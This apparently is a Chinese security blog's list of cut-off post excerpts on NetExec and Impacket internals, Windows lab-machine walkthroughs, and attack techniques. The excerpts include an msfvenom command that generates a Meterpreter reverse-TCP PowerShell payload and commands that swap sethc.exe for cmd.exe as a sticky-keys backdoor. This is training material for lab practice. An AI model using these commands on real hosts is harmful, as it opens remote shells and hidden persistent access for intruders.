NetExec 把凭据认证、主机枚举和模块调用放在统一的命令行中。和单独运行协议示例相比，分析它时还需要关注目标展开、认证循环、权限标记和模块回调，否则很容易把“这个模块属于 SMB”理解成“它只使用 SMB 协议”。 源码分析对应 NetExec 36acb70。该快照提供 10 个协议处理器；模块目录有 131 个 Python 模板/模块类，…

Impacket 中不少工具只需要一行命令，背后访问的接口、使用的身份和权限却差别很大。这里结合源码整理常用工具的调用过程，再看这些工具之间如何衔接。 源码分析对应 Impacket 9a5621d，setup.py 中版本为 0.14.0.dev。源码路径均相对此仓库。 项目结构概览 项目目录 impacket/ ├── impacket/ # …

Powershell Step 1：使用Msfvenom生成一个攻击载荷 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f psh-reflection >shell.ps1 Step 2：在 msf 中启动监听 use ex…

OverView 这是 hard 难度的 Windows 靶机。体验不错，就是绕。注意使用 tmux 进行 shell 的管理会轻松一点点。 Useful Skills and Tools SMBMap SMBMap 是一个允许使用者枚举目标机器上的共享目录，共享文件夹、权限以及文件上传下载删除的工具 参数： -u username -p pass…

终于考完试了，前阵子都在复习。周日开了 Windows 的机子来玩一下。虽然不像内网渗透有搭建隧道的过程，但是主要考察信息收集的能力。 OverView 中等难度的靶机。虽然没有拿到 root 的 flag 但是还是学到了很多东西 Useful Skills and Tools SMBmap 枚举目标机器上的共享目录 枚举驱动器权限 如果有权限的话…

粘滞键后门 Windows 主机上连续按 5 次 "shift" 键，就可调出粘滞键。而如果能够替换 sethc.exe 这个文件成 cmd.exe 那么连续按 5 次 shift 键将弹出命令行窗口 cd C:\Windows\System32 move sethc.exe sethc.exe.bak copy cmd.exe sethc.exe…